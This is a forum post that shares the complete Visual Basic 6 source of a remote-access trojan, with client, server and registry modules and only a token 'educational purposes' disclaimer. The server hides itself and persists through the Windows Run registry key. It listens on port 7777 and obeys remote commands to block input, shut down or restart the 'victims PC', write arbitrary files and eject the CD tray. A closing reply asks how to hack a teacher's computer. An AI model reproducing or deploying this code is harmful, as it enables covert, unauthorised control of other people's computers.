Ok this was programmed in VB v6 around a half year age. I have no intention of using this code to use on anyones computer without permission and I do not permit you do do anything of that kind with it. This is for educational purposes only... Blah Blah....
Im not going to include the form data because its pointless.. and just stupid.
The client:
code:<pre>
' All variables are declared
Dim data As String
Dim ListA, ListB, ListC, ListD, ListE
Private Sub cmdBlock_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "BLK" ' Send the command to get server info
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdClose_Click()
' Close Server
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Trojan Client : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "CLS" ' Send the command to close the server
End If ' End of this if statement
End Sub
Private Sub cmdCloseCD_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Closind CD" ' Show we are sending data
tcpClient.SendData "CLOSE" ' Send the command to close the server
Label1.Caption = "Status: Connected : Sending"
End If ' End of this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdConnect_Click()
ListE = ListD
ListD = ListC
ListC = ListB
ListB = ListA
ListA = txtIP
txtIP.Clear
txtIP.AddItem ListA
txtIP.AddItem ListB
txtIP.AddItem ListC
txtIP.AddItem ListD
txtIP.AddItem ListE
On Error GoTo errorhandler ' Enter some errorhandling because winsock stuff is prone to errors
If txtIP.Text <> "" And IsNumeric(txtPort.Text) Then ' Check a ip/hostname has been entered and that there is a numeric port
If txtPort.Text > 0 And txtPort.Text < 65536 Then ' Check the port is valid
tcpClient.Close ' Close any current connections
Me.Caption = "Lamp Shade : Connecting" ' Show we are connecting
tcpClient.Connect txtIP.Text, txtPort.Text ' Connect
Else ' Port isnt valid
Err.Raise "1", , "The port is invalid" ' Rasie an error showing the port is invalid
End If ' End the if statement
Else ' The user didnt enter anything in txtip.text
Err.Raise "1", , "You did not enter an IP or hostname" ' Raise an error saying what has happened
End If ' End this if statement
If tcpClient.State = sckConnected Then
Label1.Caption = "Status: Connected"
Me.Caption = "Lamp Shade : Connected"
MsgBox "Connection is a success!", vbOKOnly, "Success!"
cmdDisconnect.Enabled = True
Else
Err.Raise "1", , "The IP is invalid or there is no server"
End If
Exit Sub ' No errors so exit sub
errorhandler: ' An error has occured if this runs
MsgBox "Connection Error: " & Err.Description & ".", vbExclamation, "Error" ' Explain the error to the user
Exit Sub ' Exit the code
End Sub
Private Sub cmdDisconnect_Click()
If tcpClient.State = sckConnected Then
tcpClient.Close
Me.Caption = "Lamp Shade"
MsgBox ("Conection closed!")
Else
MsgBox "Think my friend, in order to disconnect you need to be connected...", , "DUH"
End If
End Sub
Private Sub cmdExit_Click()
Dim BOX
BOX = MsgBox("Are you sure you want to exit?", vbYesNo, "Exit")
If BOX = vbYes Then
Unload Me
End If
End Sub
Private Sub cmdInfo_Click()
' This is for getting server info
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "INF" ' Send the command to get server info
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdIP_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "GETIP" ' Send the command to kill the server
End If ' End the if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdKill_Click()
' This is for killing the server
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "KLL" ' Send the command to kill the server
End If ' End the if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdLog_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "LOF" ' Send the command to get server info
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdMake_Click()
' For making files on the server machine
If txtFilename <> "" Then ' Check if a filename has been entered, data is optional
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending info
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "FLE" & txtFilename.Text & "¦" & txtFileData.Text ' Send the command with extra data
End If ' End this if statement
Else ' No filename was entered
MsgBox "You need to enter a file name.", vbExclamation, "Error" ' Tell the user what has happened
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdOpenCD_Click()
If tcpClient.State = sckConnected Then ' Check the connetcion
Me.Caption = "Lamp Shade Client : Connected : Opening CD" ' Show we are sending data
Label1.Caption = "Status: Connected : Opening CD"
tcpClient.SendData "OPN"
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End If
End Sub
Private Sub cmdRes_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "RES" ' Send the command to get server info
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub cmdSend_Click()
On Error GoTo errorhandler
' For sending message boxes to the server
If tcpClient.State = sckConnected Then ' Check the connetcion
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "MSG" & txtMsg.Text ' Send the message command with the actual message
MsgBox ("Message sent succesfully!")
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
errorhandler: ' An error has occured if this runs
MsgBox "Send Error : " & Err.Description & ".", vbExclamation, "Error" ' Explain the error to the user
End If
End Sub
Private Sub cmdUnBlock_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "UBK" ' Send the command to get server info
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub Command2_Click()
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected : Sending" ' Show we are sending data
Label1.Caption = "Status: Connected : Sending"
tcpClient.SendData "RES" ' Send the command to get server info
End If ' End this if statement
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
MsgBox "You need to be connected!"
End If
End Sub
Private Sub Form_Load()
Dim ListA, ListB, ListC, ListD, ListE
cmdConnect.Enabled = False
cmdDisconnect.Enabled = False
End Sub
Private Sub Frame4_DragDrop(Source As Control, X As Single, Y As Single)
End Sub
Private Sub fun_Click()
If visible1 = Null Then GoTo Seeing
visible1.Visible = False
If visible2 = Null Then GoTo Seeing
visible2.Visible = False
If visible3 = Null Then GoTo Seeing
visible3.Visible = False
If visible4 = Null Then GoTo Seeing
visible4.Visible = False
Seeing:
Command1.Visible = True
cmdLog.Visible = True
cmdRes.Visible = True
cmdBlock.Visible = True
cmdUnBlock.Visible = True
visible1 = Command1
visible2 = cmdLog
visible3 = cmdRes
visible4 = cmdBlock
visible5 = cmdUnBlock
End Sub
Private Sub make_Click()
If visible1 = Null Then GoTo Seeing
visible1.Visible = False
If visible2 = Null Then GoTo Seeing
visible2.Visible = False
If visible3 = Null Then GoTo Seeing
visible3.Visible = False
If visible4 = Null Then GoTo Seeing
visible4.Visible = False
If visible5 = Null Then GoTo Seeing
visible5.Visible = False
Seeing:
txtFilename.Visible = True
txtFileData.Visible = True
cmdMake.Visible = True
visible1 = txtFilename
visible2 = txtFileData
visible3 = cmdMake
visible4 = Null
visible5 = Null
End Sub
Private Sub txtIp_Change()
If txtIP = "" Then
cmdConnect.Enabled = False
Else
cmdConnect.Enabled = True
End If
End Sub
Private Sub tcpclient_Close() ' The connection was cut
Me.Caption = "Lamp Shade" ' Show we are not connected
Label1.Caption = "Status: Disconnected"
End Sub
Private Sub tcpclient_Connect() ' A succesful connection has been made
Me.Caption = "Lamp Shade : Connected" ' Show we are connected
Label1.Caption = "Status: Connected"
End Sub
Private Sub tcpclient_DataArrival(ByVal bytesTotal As Long) ' The server has sent data to the client
Dim vardata, strdata As String ' Declare soem strings for holding data
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpClient.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
Me.Caption = "Trojan Client : Connected" ' Show the information has been collected
MsgBox "Message From Server:" & vbNewLine & vbNewLine & vardata, vbInformation, "Message Received" ' Display the data to the client
If tcpClient.State = sckConnected Then ' Check if connected
Me.Caption = "Lamp Shade : Connected"
Label1.Caption = "Status: Connected"
Else
End If
End Sub
Private Sub txtIP_KeyPress(KeyAscii As Integer)
If KeyAscii = 13 Then
cmdConnect_Click
End If
End Sub
</pre>
That just connects and sends the commands the harder part is the server:
Form 1:
code:<pre>
Option Explicit ' All variables are declared
Dim Ret As Long
Dim RetStr As String
Private Declare Function MCISendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Dim strIP As String
Dim txtIP
Private Sub Form_Load() ' This is the code run when the server starts
On Error Resume Next ' Make sure no errors occur
Me.Hide
If App.PrevInstance = True Then End ' If its already running , close this version
regkeyname = "tcpComd" ' The startup key in the registry
UpdateKey &H80000002, "softwaremicrosoftwindowscurrentversionrun", regkeyname, App.Path & "" & App.EXEName & ".exe" ' Save data to the registry
tcpserver.LocalPort = 7777 ' Set the port to listen on
tcpserver.Listen ' Start the server listening
txtIP.Text = tcpserver.LocalIP
strIP = txtIP.Text
End Sub
Private Sub tcpserver_Close() ' The connection has been cut
tcpserver.Close ' Make the sure the connection is definutely closed
tcpserver.Listen ' Begin listening again
End Sub
Private Sub tcpserver_ConnectionRequest(ByVal requestID As Long) ' A connection has been requested
tcpserver.Close ' Close to prevent errors
tcpserver.Accept requestID ' Accept the incoming connection
End Sub
Private Sub tcpserver_DataArrival(ByVal bytesTotal As Long) ' The client has sent a command
On Error Resume Next ' Error handling is very important in a server
Dim vardata As String
Dim strdata As String ' Variable for holding the data received
Dim cmddata As String * 3 ' This is for holding the command the server sent
tcpserver.GetData strdata ' Get the data sent
cmddata = Left(strdata, 3) ' This is the command the server sent
vardata = Right(strdata, Len(strdata) - 3) ' This is the variable data
performcommand cmddata, vardata ' This function is in the commands module
If strdata = "OPN" Then
Ret = MCISendString("set CDAudio door open", RetStr, 127, 0)
ElseIf strdata = "CLOSE" Then
Ret = MCISendString("set CDAudio door closed", RetStr, 127, 0)
ElseIf strdata = "GETIP" Then
tcpserver.SendData "IP:" & strIP
End If
End Sub
Private Sub tcpserver_Error(ByVal Number As Integer, Description As String, ByVal Scode As Long, ByVal Source As String, ByVal HelpFile As String, ByVal HelpContext As Long, CancelDisplay As Boolean) ' An error has occured in the winsock control
On Error Resume Next ' Dont want any more errors
tcpserver.Close ' Close the connection to prevent further errors
tcpserver.Listen ' Listen again
End Sub
</pre>
Commands.bas:
code:<pre>
Option Explicit ' All variables are declared
Global regkeyname As String ' Global variable for storing the registry key name
Option Base 1
Private Const EWX_SHUTDOWN As Long = 1
Private Declare Function ExitWindowsEx Lib "user32" (ByVal dwOptions As Long, ByVal dwReserved As Long) As Long
Public Declare Function BlockInput Lib "user32" (ByVal fBlock As Long) As Long
Public Declare Function MCISendString Lib "winmm.dll" Alias "mciSendStringA" (ByVal lpstrCommand As String, ByVal lpstrReturnString As String, ByVal uReturnLength As Long, ByVal hwndCallback As Long) As Long
Public Function performcommand(Command As String, data As String) ' The server is performing a command
Dim infdata, Action As String ' Declare a variable for using later
Select Case LCase(Command) ' Convert the command to lowercase and do a select case
Case "blk"
Action = BlockInput(1)
Case "ubk"
Action = BlockInput(0)
Case "sdw"
Action = ExitWindowsEx(EWX_SHUTDOWN, 0&)
Case "msg" ' The client wants a message box to be shown
MsgBox data, vbInformation, "Information" ' Display the message to the server
Server.tcpserver.SendData "MSGUser clicked the message box." ' Tell the client the command was sent and performed
Case "inf" ' The client wants server info
infdata = "Time: " & Time & ", Date: " & Date ' Add the time and data
infdata = infdata & vbNewLine & "Server Filename: " & App.Path & "" & App.EXEName & ".exe" ' Add the exe path and filename
infdata = infdata & vbNewLine & "Server Version: " & App.Major & "." & App.Minor ' Add the version numbers
infdata = infdata & vbNewLine & "Registry Key: " & regkeyname ' Add the registry key
Server.tcpserver.SendData "MSG" & infdata ' Send all the data to the client
Case "kll" ' The client wants to kill the server
UpdateKey &H80000002, "softwaremicrosoftwindowscurrentversionrun", regkeyname, "" ' Clear the startup methos so it wont run again
End ' Close the program
Case "cls" ' The client wants to close the server
End ' Close the program
Case "fle" ' The client wants to make a file
On Error Resume Next ' If the filename is messed up we will get errors, so this prevents any
Dim filename, filedata, where As String ' Declare some strings
where = InStr(data, "¦") ' Find where the seperater character is
filename = Left(data, where - 1) ' Split the filename off the left side
filedata = Right(data, Len(data) - where) ' Split the filedata off the right side
Open filename For Output As #1 ' Create the file
Print #1, filedata ' Print data to the file
Close #1 ' Close the newly created file, we dont need it anymore
Server.tcpserver.SendData "MSGFile created." ' Tell the client it has been done
Case "res"
' This restarts the victims PC
Shell "shutdown r"
Case "lof"
' This logs the victims PC off
Shell "shutdown l"
End Select ' End the select case code
End Function
</pre>
RegKey.bas:
code:<pre>
' This module reads and writes registry keys. Unlike the
' internal registry access methods of VB, it can read and
' write any registry keys with string values.
Option Explicit
'---------------------------------------------------------------
'-Registry API Declarations...
'---------------------------------------------------------------
Private Declare Function RegCloseKey Lib "advapi32" (ByVal hKey As Long) As Long
Private Declare Function RegCreateKeyEx Lib "advapi32" Alias "RegCreateKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal Reserved As Long, ByVal lpClass As String, ByVal dwOptions As Long, ByVal samDesired As Long, ByRef lpSecurityAttributes As SECURITY_ATTRIBUTES, ByRef phkResult As Long, ByRef lpdwDisposition As Long) As Long
Private Declare Function RegOpenKeyEx Lib "advapi32" Alias "RegOpenKeyExA" (ByVal hKey As Long, ByVal lpSubKey As String, ByVal ulOptions As Long, ByVal samDesired As Long, ByRef phkResult As Long) As Long
Private Declare Function RegQueryValueEx Lib "advapi32" Alias "RegQueryValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, ByRef lpType As Long, ByVal lpData As String, ByRef lpcbData As Long) As Long
Private Declare Function RegSetValueEx Lib "advapi32" Alias "RegSetValueExA" (ByVal hKey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, ByVal lpData As String, ByVal cbData As Long) As Long
'---------------------------------------------------------------
'- Registry Api Constants...
'---------------------------------------------------------------
' Reg Data Types...
Const REG_SZ = 1 ' Unicode nul terminated string
Const REG_EXPAND_SZ = 2 ' Unicode nul terminated string
Const REG_DWORD = 4 ' 32-bit number
' Reg Create Type Values...
Const REG_OPTION_NON_VOLATILE = 0 ' Key is preserved when system is rebooted
' Reg Key Security Options...
Const READ_CONTROL = &H20000
Const KEY_QUERY_VALUE = &H1
Const KEY_SET_VALUE = &H2
Const KEY_CREATE_SUB_KEY = &H4
Const KEY_ENUMERATE_SUB_KEYS = &H8
Const KEY_NOTIFY = &H10
Const KEY_CREATE_LINK = &H20
Const KEY_READ = KEY_QUERY_VALUE + KEY_ENUMERATE_SUB_KEYS + KEY_NOTIFY + READ_CONTROL
Const KEY_WRITE = KEY_SET_VALUE + KEY_CREATE_SUB_KEY + READ_CONTROL
Const KEY_EXECUTE = KEY_READ
Const KEY_ALL_ACCESS = KEY_QUERY_VALUE + KEY_SET_VALUE + _
KEY_CREATE_SUB_KEY + KEY_ENUMERATE_SUB_KEYS + _
KEY_NOTIFY + KEY_CREATE_LINK + READ_CONTROL
' Reg Key ROOT Types...
Const HKEY_CLASSES_ROOT = &H80000000
Const HKEY_CURRENT_USER = &H80000001
Const HKEY_LOCAL_MACHINE = &H80000002
Const HKEY_USERS = &H80000003
Const HKEY_PERFORMANCE_DATA = &H80000004
' Return Value...
Const ERROR_NONE = 0
Const ERROR_BADKEY = 2
Const ERROR_ACCESS_DENIED = 8
Const ERROR_SUCCESS = 0
'---------------------------------------------------------------
'- Registry Security Attributes TYPE...
'---------------------------------------------------------------
Private Type SECURITY_ATTRIBUTES
nLength As Long
lpSecurityDescriptor As Long
bInheritHandle As Boolean
End Type
' The resource string will be loaded into a control's property as follows:
' Object Property
' Form Caption
' Menu Caption
' TabStrip Caption, ToolTipText
' Toolbar ToolTipText
' ListView ColumnHeader.Text
Sub LoadResStrings(frm As Form)
On Error Resume Next
Dim ctl As Control
Dim obj As Object
'set the form's caption
If IsNumeric(frm.Tag) Then
frm.Caption = LoadResString(CInt(frm.Tag))
End If
'set the controls' captions using the caption
'property for menu items and the Tag property
'for all other controls
For Each ctl In frm.Controls
Err.Clear
If TypeName(ctl) = "Menu" Then
If IsNumeric(ctl.Caption) Then
If Err = 0 Then
ctl.Caption = LoadResString(CInt(ctl.Caption))
End If
End If
ElseIf TypeName(ctl) = "TabStrip" Then
For Each obj In ctl.Tabs
Err.Clear
If IsNumeric(obj.Tag) Then
obj.Caption = LoadResString(CInt(obj.Tag))
End If
'check for a tooltip
If IsNumeric(obj.ToolTipText) Then
If Err = 0 Then
obj.ToolTipText = LoadResString(CInt(obj.ToolTipText))
End If
End If
Next
ElseIf TypeName(ctl) = "Toolbar" Then
For Each obj In ctl.Buttons
Err.Clear
If IsNumeric(obj.Tag) Then
obj.ToolTipText = LoadResString(CInt(obj.Tag))
End If
Next
ElseIf TypeName(ctl) = "ListView" Then
For Each obj In ctl.ColumnHeaders
Err.Clear
If IsNumeric(obj.Tag) Then
obj.Text = LoadResString(CInt(obj.Tag))
End If
Next
Else
If IsNumeric(ctl.Tag) Then
If Err = 0 Then
ctl.Caption = LoadResString(CInt(ctl.Tag))
End If
End If
'check for a tooltip
If IsNumeric(ctl.ToolTipText) Then
If Err = 0 Then
ctl.ToolTipText = LoadResString(CInt(ctl.ToolTipText))
End If
End If
End If
Next
End Sub
'-------------------------------------------------------------------------------------------------
'sample usage - Debug.Print UpodateKey(HKEY_CLASSES_ROOT, "keyname", "newvalue")
'-------------------------------------------------------------------------------------------------
Public Function UpdateKey(KeyRoot As Long, KeyName As String, SubKeyName As String, SubKeyValue As String) As Boolean
Dim rc As Long ' Return Code
Dim hKey As Long ' Handle To A Registry Key
Dim hDepth As Long '
Dim lpAttr As SECURITY_ATTRIBUTES ' Registry Security Type
lpAttr.nLength = 50 ' Set Security Attributes To Defaults...
lpAttr.lpSecurityDescriptor = 0 ' ...
lpAttr.bInheritHandle = True ' ...
'------------------------------------------------------------
'- Create/Open Registry Key...
'------------------------------------------------------------
rc = RegCreateKeyEx(KeyRoot, KeyName, _
0, REG_SZ, _
REG_OPTION_NON_VOLATILE, KEY_ALL_ACCESS, lpAttr, _
hKey, hDepth) ' Create/Open //KeyRoot//KeyName
If (rc <> ERROR_SUCCESS) Then GoTo CreateKeyError ' Handle Errors...
'------------------------------------------------------------
'- Create/Modify Key Value...
'------------------------------------------------------------
If (SubKeyValue = "") Then SubKeyValue = " " ' A Space Is Needed For RegSetValueEx() To Work...
' Create/Modify Key Value
rc = RegSetValueEx(hKey, SubKeyName, _
0, REG_SZ, _
SubKeyValue, LenB(StrConv(SubKeyValue, vbFromUnicode)))
If (rc <> ERROR_SUCCESS) Then GoTo CreateKeyError ' Handle Error
'------------------------------------------------------------
'- Close Registry Key...
'------------------------------------------------------------
rc = RegCloseKey(hKey) ' Close Key
UpdateKey = True ' Return Success
Exit Function ' Exit
CreateKeyError:
UpdateKey = False ' Set Error Return Code
rc = RegCloseKey(hKey) ' Attempt To Close Key
End Function
'-------------------------------------------------------------------------------------------------
'sample usage - Debug.Print GetKeyValue(HKEY_CLASSES_ROOT, "COMCTL.ListviewCtrl.1CLSID", "")
'-------------------------------------------------------------------------------------------------
Public Function GetKeyValue(KeyRoot As Long, KeyName As String, SubKeyRef As String) As String
Dim i As Long ' Loop Counter
Dim rc As Long ' Return Code
Dim hKey As Long ' Handle To An Open Registry Key
Dim hDepth As Long '
Dim sKeyVal As String
Dim lKeyValType As Long ' Data Type Of A Registry Key
Dim tmpVal As String ' Tempory Storage For A Registry Key Value
Dim KeyValSize As Long ' Size Of Registry Key Variable
' Open RegKey Under KeyRoot {HKEY_LOCAL_MACHINE...}
'------------------------------------------------------------
rc = RegOpenKeyEx(KeyRoot, KeyName, 0, KEY_ALL_ACCESS, hKey) ' Open Registry Key
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError ' Handle Error...
tmpVal = String$(1024, 0) ' Allocate Variable Space
KeyValSize = 1024 ' Mark Variable Size
'------------------------------------------------------------
' Retrieve Registry Key Value...
'------------------------------------------------------------
rc = RegQueryValueEx(hKey, SubKeyRef, 0, _
lKeyValType, tmpVal, KeyValSize) ' Get/Create Key Value
If (rc <> ERROR_SUCCESS) Then GoTo GetKeyError ' Handle Errors
tmpVal = Left$(tmpVal, InStr(tmpVal, Chr(0)) - 1)
'------------------------------------------------------------
' Determine Key Value Type For Conversion...
'------------------------------------------------------------
Select Case lKeyValType ' Search Data Types...
Case REG_SZ, REG_EXPAND_SZ ' String Registry Key Data Type
sKeyVal = tmpVal ' Copy String Value
Case REG_DWORD ' Double Word Registry Key Data Type
For i = Len(tmpVal) To 1 Step -1 ' Convert Each Bit
sKeyVal = sKeyVal + Hex(Asc(Mid(tmpVal, i, 1))) ' Build Value Char. By Char.
Next
sKeyVal = Format$("&h" + sKeyVal) ' Convert Double Word To String
End Select
GetKeyValue = sKeyVal ' Return Value
rc = RegCloseKey(hKey) ' Close Registry Key
Exit Function ' Exit
GetKeyError: ' Cleanup After An Error Has Occured...
GetKeyValue = vbNullString ' Set Return Val To Empty String
rc = RegCloseKey(hKey) ' Close Registry Key
End Function
</pre>
2005-01-04, 21:30
How do I hack my teachers computer?